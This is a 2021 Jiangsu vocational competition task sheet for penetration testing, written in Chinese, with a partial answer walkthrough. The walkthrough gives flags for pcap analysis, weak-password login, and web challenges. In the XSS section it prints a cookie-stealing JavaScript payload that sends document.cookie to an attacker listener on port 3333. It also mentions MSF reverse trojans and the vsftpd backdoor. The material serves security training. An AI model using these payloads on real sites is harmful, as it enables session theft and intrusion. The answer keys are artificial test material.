2021年中职组“网络空间安全”赛项
一.江苏省竞赛任务书
一、竞赛时间
8:00—11:00 共计3小时
二、竞赛阶段
竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值
第①阶段:
单兵模式系统渗透测试
任务一:
攻击日志分析
任务二:
系统漏洞利用与提权
任务三:
代码审计
任务四:
web安全渗透测试
任务五:
Linux操作系统渗透测试
任务六:
端口扫描Python渗透测试
备战阶段 休息20分钟
第②阶段:
分组对抗 系统加固 15分钟
渗透测试 45分钟
三、竞赛任务书内容
(一)拓扑图
(二)第一阶段任务书
任务一:攻击日志分析
任务环境说明:
服务器场景:PYsystem0031
服务器场景操作系统:未知
服务器场景FTP用户名:anonymous 密码:空
1.从靶机服务器的FTP上下载attack.pcapng数据包文件,通过分析数据包attack.pcapng,找出黑客的IP地址,并将黑客的IP地址作为FLAG(形式:[IP地址])提交;(1分)
2.继续查看数据包文件attack.pacapng,分析出黑客扫描得到的靶机开放的端口,将靶机开放的端口作为FLAG(形式:[端口名1,端口名2,端口名3…,端口名n])从低到高提交;(1分)
3.继续查看数据包文件attack.pacapng,分析出黑客成功入侵后获得的操作系统的版本号,将操作系统的版本号作为FLAG(形式:[操作系统版本号])提交;(1分)
4.继续查看数据包文件attack.pacapng,分析出黑客成功入侵后执行的第一条命令,并将执行的第一条命令作为FLAG(形式:[第一条命令])提交;(1分)
5.继续查看数据包文件attack.pacapng,分析出黑客成功入侵后执行的第二条命令,并将执行的第二条命令作为FLAG(形式:[第二条命令])提交;(2分)
6.继续查看数据包文件attack.pacapng,分析出黑客成功入侵后执行的第二条命令的返回结果,并将执行的第二条命令返回结果作为FLAG(形式:[第二条命令返回结果])提交;(2分)
7.继续查看数据包文件attack.pacapng,分析出黑客成功入侵后执行的第三条命令的返回结果,并将执行的第三条命令返回结果作为FLAG(形式:[第三条命令返回结果])提交。(2分)
任务二:系统漏洞利用与提权
任务环境说明:
服务器场景:PYsystem0033
服务器场景操作系统:Ubuntu
服务器场景用户名:未知 密码:未知
1.使用nmap扫描靶机系统,将靶机开放的端口号按从小到大的顺序作为FLAG(形式:[端口1,端口2…,端口n])提交;(1分)
2.通过上述端口访问靶机系统,使用弱口令进行登录,将正确的用户名和密码作为FLAG(形式:[用户名,密码])提交;(1分)
3.利用Kali渗透机生成反弹木马,将生成木马命令执行后提示的第四行的首个单词作为FLAG(形式:[单词])提交;(1分)
4.对上述木马文件进行修改后上传到靶机系统中,使用MSF开启监听,将获得的当前权限的用户名作为FLAG(形式:[用户名])提交;(1分)
5.查看系统内核版本信息,将系统内核版本号作为FLAG(形式:[版本号])提交;(1分)
6.在Kali攻击机中查找可使用的漏洞源码,将找到的漏洞源码文件名作为FLAG(形式:[文件名])提交;(1分)
7.利用上述漏洞源码后获得到的靶机/root下的唯一.txt文件的文件名作为FLAG(形式:[文件名])提交;(1分)(2分)
8.利用上述漏洞源码后将获得到的靶机/root下的唯一.txt文件的文件内容作为FLAG(形式:[文件内容])提交。(2分)
任务三:代码审计
任务环境说明:
服务器场景:PYsystem0035
服务器场景操作系统:未知
服务器场景用户名:未知 密码:未知
1.在渗透机Kali Linux中访问靶机服务器Web页面,注册账号并登陆,找到存在XSS执行漏洞的页面,将该页面中存在XSS执行漏洞的对象名作为FLAG提交;(2分)
2.构造Cookie反弹JS脚本,将该JS代码中使用的对象及方法作为FLAG(形式:对象.方法)进行提交;(2分)
3.在渗透机Kali Linux中重启Web服务,将重启使用的命令作为FLAG进行提交;(2分)
4.在靶机服务器中利用原有的XSS漏洞调用上述JS脚本,在渗透机Kali Linux中开启3333端口监听,将开启端口监听使用的命令作为FLAG提交;(2分)
5.在渗透机Kali Linux中开启3333端口监听,将开启端口监听后接收回应的第一行的第一个单词作为FLAG提交;(2分)
6.在渗透机Kali Linux中开启3333端口监听,将开启端口监听后接收回应的第五行的最后一个单词作为FLAG提交。(2分)
任务四:Web安全渗透测试
任务环境说明:
服务器场景:PYsystem0043
服务器场景操作系统:未知
服务器场景用户名:未知 密码:未知
1.通过浏览器访问http://靶机服务器IP/1,对该页面进行渗透测试, 找到flag格式:flag{Xxxx123},括号中的内容作为flag值并提交;(2分)
2.通过浏览器访问http://靶机服务器IP/2,对该页面进行渗透测试, 找到flag格式:flag{Xxxx123},括号中的内容作为flag值并提交;(2分)
3.通过浏览器访问http://靶机服务器IP/3,对该页面进行渗透测试, 找到flag格式:flag{Xxxx123},括号中的内容作为flag值并提交;(2分)
4.通过浏览器访问http://靶机服务器IP/4,对该页面进行渗透测试, 找到flag格式:flag{Xxxx123},括号中的内容作为flag值并提交;(3分)
5.通过浏览器访问http://靶机服务器IP/5,对该页面进行渗透测试, 找到flag格式:flag{Xxxx123},括号中的内容作为flag值并提交。(3分)
任务五:Linux操作系统渗透测试
任务环境说明:
服务器场景:PYsystem0040
服务器场景操作系统:未知
服务器场景用户名:未知 密码:未知
1.通过渗透机Kali对靶机服务器进行系统服务及版本扫描渗透测试,并将该操作显示结果中21端口对应的服务版本信息字符串作为Flag值提交;(1分)
2.通过渗透机Kali对靶机服务器进行渗透测试,将该场景/var/www目录中唯一一个后缀为.bmp文件的文件名称作为Flag值提交;(1分)
3.通过渗透机Kali对靶机服务器进行渗透测试,将该场景/var/www目录中唯一一个后缀为.bmp的图片文件中的英文单词作为Flag值提交;(1分)
4.通过渗透机Kali对靶机服务器进行渗透测试,将该场景/home/guest目录中唯一一个后缀为.pdf文件的文件名称作为Flag值提交;(1分)
5.通过渗透机Kali对靶机服务器进行渗透测试,将该场景/home/guest目录中唯一一个后缀为.pdf文件的文件内容作为Flag值提交;(2分)
6.通过渗透机Kali对靶机服务器进行渗透测试,将该场景/var/vsftpd目录中唯一一个后缀为.docx文件的文件名称作为Flag值提交;(1分)
7.通过渗透机Kali对靶机服务器进行渗透测试,将该场景/var/vsftpd目录中唯一一个后缀为.docx文件的文件内容作为Flag值提交;(2分)
8.通过渗透机Kali对靶机服务器进行渗透测试,将该场景/root目录中唯一一个后缀为.txt文件的文件名称作为Flag值提交;(1分)
9.通过渗透机Kali对靶机服务器进行渗透测试,将该场景/root目录中唯一一个后缀为.txt文件的文件内容作为Flag值提交。(2分)
任务六:端口扫描Python渗透测试
任务环境说明:
服务器场景:PYsystem0041
服务器场景操作系统:未知
服务器场景FTP用户名:anonymous 密码:空
1.从靶机服务器的FTP上下载PortScan.py,编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F1字符串,将该字符串作为Flag值提交;(1分)
2.继续编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F2字符串,将该字符串作为Flag值提交;(1分)
3.继续编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F3字符串,将该字符串作为Flag值提交;(1分)
4. 继续编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F4字符串,将该字符串作为Flag值提交;(2分)
5. 继续编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F5字符串,将该字符串作为Flag值提交;(2分)
6. 继续编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F6字符串,将该字符串作为Flag值提交;(2分)
7. 继续编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F7字符串,将该字符串作为Flag值提交;(2分)
8. 继续编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F8字符串,将该字符串作为Flag值提交;(2分)
9. 继续编辑Python程序PortScan.py,实现基于TCP全开的端口扫描,填写该文件当中空缺的F9字符串,将该字符串作为Flag值提交。(1分)
二.任务书解析:
任务一: 攻击日志分析
1.筛选HTTP协议
可以知道服务器是192.168.10.103 黑客ip是192.168.10.106
flag:192.168.10.106
2.使用过滤规则 :ip.src == 192.168.10.106 and tcp.flags.reset == 1
flag:21,22,23,80,139,445,3306,8080
3.尝试了http协议 发现黑客不是通过80端口进去的 所以什么都没找到继续筛选FTP协议 发现FTP的版本是2.3.4 怀疑是笑脸 ctrl+F
搜关键字6200
选中一条查看tcp数据流 发现了操作系统的版本 还有黑客执行的命令
flag:Linux localhost.localdomain 2.6.32-504.el6.i686
4.黑客成功入侵后执行的第一条命令,并将执行的第一条命令作为FLAG
flag:id
5.黑客成功入侵后执行的第二条命令,并将执行的第二条命令作为FLAG
flag:uname -a
6.黑客成功入侵后执行的第二条命令的返回结果,并将执行的第二条命令返回结果作为FLAG
flag:Linux localhost.localdomain 2.6.32-504.el6.i686 #1 SMP Wed Oct 15 03:02:07 UTC 2014 i686 i686 i386 GNU/Linux
7.黑客成功入侵后执行的第三条命令的返回结果,并将执行的第三条命令返回结果作为FLAG
flag:/
任务二:系统漏洞利用与提权
1.使用nmap扫描靶机系统,将靶机开放的端口号按从小到大的顺序作为FLAG(形式:[端口1,端口2…,端口n])提交;
21,22,80
2.通过上述端口访问靶机系统,使用弱口令进行登录,将正确的用户名和密码作为FLAG(形式:[用户名,密码])提交;(1分)
使用msf进行 弱口令字典爆破 账号和密码 设置一些基本参数 运行即可
ubuntu,admin123
没有渗透机所以也不知道可以用的漏洞名字叫啥 答案给的upstream44
任务三:代码审计
先注册一个账号,然后进行登入,登入成功后 点击“个人中心”,我们可以修改自己的用户信息
尝试将姓名修改为JavaScript脚本,验证是否能执行XSS操作:
<script>alert(‘XSS’)</script>
正常的话 有权限的话会执行XSS语句 说明存在xss漏洞
再次修改名字 <script>alert(document.cookie)</script>
dcument.cookie可以获取受害者浏览器的Cookie信息,利用者一旦窃取到受害者的Cookie信息,就可以利用受害者的Cookie信息登录受害者的账户。
构造cokie:document.write(‘<img src=”http://172.16.5.106:3333/xss?val=’ + document.cookie + ‘” width=0 height=0 />’);
新建一个x.js 把这个payload 写进去,然后继续修改名字 把写好的js脚本传进去,开始监听端口
以管理员身份进入“用户管理”页面,看到用户姓名白了,代表我们的脚本已经被执行了
任务四:Web安全渗透测试
1.访问/1/ 是一个在闪的gif的图片 直接另存为即可查看
flag{asdasxcsdsdqasdxsfdsdacsasvsadsadvvasdsgwqdsadsadsdfsgsad}
2.访问/2/ 是一个签到题 访问 robots.txt
有个flag.php 访问即可获取flag
flag{kmbgsavdhsadsd}
3.访问/3/ 抓包修改 X-Forwarded-for
和User-Agent
Send
一下即可获取flag。